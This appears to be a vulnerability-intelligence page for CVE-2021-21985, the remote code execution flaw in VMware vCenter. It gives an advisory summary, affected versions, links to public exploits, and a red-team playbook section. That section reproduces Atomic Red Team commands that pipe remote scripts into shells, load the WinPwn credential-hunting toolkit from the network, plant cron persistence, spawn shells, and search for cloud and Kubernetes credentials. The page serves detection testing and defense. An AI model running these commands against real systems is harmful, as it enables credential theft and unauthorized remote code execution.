CVE-2021-21985
Overview
This vulnerability is a remote code execution flaw caused by improper input validation within the Virtual SAN Health Check plug-in of the vSphere Client (HTML5). The root cause lies in the failure to sanitize user-supplied data processed by the plug-in, which is enabled by default in VMware vCenter Server. The affected component is the Virtual SAN Health Check plug-in accessible via the vSphere Client interface on port 443.
Vulnerability Description
The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server.
Impact
An unauthenticated attacker with network access to the vCenter Server's port 443 can execute arbitrary commands with unrestricted privileges on the host operating system. This enables full system compromise, including potential data theft, service disruption, or lateral movement within the network. No user interaction or credentials are required, increasing the ease of exploitation and severity of impact on business operations.
Solution
Apply the patches provided by VMware as outlined in advisory VMSA-2021-0010, which addresses this vulnerability in VMware vCenter Server 6.5 and VMware Cloud Foundation. Detailed patching instructions and updates are available at https://www.vmware.com/security/advisories/VMSA-2021-0010.html. VMware recommends updating affected systems to the fixed versions and disabling the Virtual SAN Health Check plug-in if immediate patching is not feasible.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (53)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:-:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:a:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:b:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:c:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:d:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:e:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:f:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1b:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1c:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1d:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1e:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1g:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2b:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2c:*:*:*:*:*:*
|
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|
Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2d:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2g:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update3:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update3d:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
VMware vCenter Server Virtual SAN Health Check Plugin RCE
exploits/linux/http/vmware_vcenter_vsan_health_rce
|
Ricter Z, wvu | Unknown | unix, linux | View |
GitHub PoCs (10)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
alt3kx/CVE-2021-21985_PoC
|
alt3kx | 213 | 50 | 2021-05-29 | View |
|
xnianq/cve-2021-21985_exp
cve-2021-21985 exploit
|
xnianq | 115 | 36 | 2021-06-03 | View |
|
testanull/Project_CVE-2021-21985_PoC
|
testanull | 28 | 5 | 2021-06-05 | View |
|
daedalus/CVE-2021-21985
CVE-2021-21985 vmware 6.7-9.8 RCE
|
daedalus | 2 | 4 | 2021-06-04 | View |
|
sknux/CVE-2021-21985_PoC
VMWARE VCENTER SERVER VIRTUAL SAN HEALTH CHECK PLUG-IN RCE (CVE-2021-21985)
|
sknux | 3 | 1 | 2021-11-09 | View |
|
onSec-fr/CVE-2021-21985-Checker
CVE-2021-21985 Checker.
|
onSec-fr | 2 | 1 | 2021-06-01 | View |
|
bigbroke/CVE-2021-21985
Multiple vulnerabilities in the vSphere Client (HTML5) were privately reported to VMware. Updates and workarounds are av...
|
bigbroke | 1 | 0 | 2021-05-27 | View |
|
haidv35/CVE-2021-21985
|
haidv35 | 1 | 0 | 2021-07-08 | View |
|
mauricelambert/CVE-2021-21985
This script check the CVE-2021-21985 vulnerability and patch on vCenter Server.
|
mauricelambert | 0 | 1 | 2021-06-01 | View |
|
aristosMiliaressis/CVE-2021-21985
cve-2021-21985 powershell poc
|
aristosMiliaressis | 0 | 0 | 2021-07-11 | View |
Threat Feed
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Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-664 | Server Side Request Forgery |
44%
|
High | High |
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-21985 |
| vmware.com |
GitHub CVE
x_refsource_MISC
|
https://www.vmware.com/security/advisories/VMSA-2021-0010.html |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/162812/VMware-Security-Advisory-2021-0010.html |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/163487/VMware-vCenter-Server-Virtual-SAN-Health-Check-Remote-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-21985 |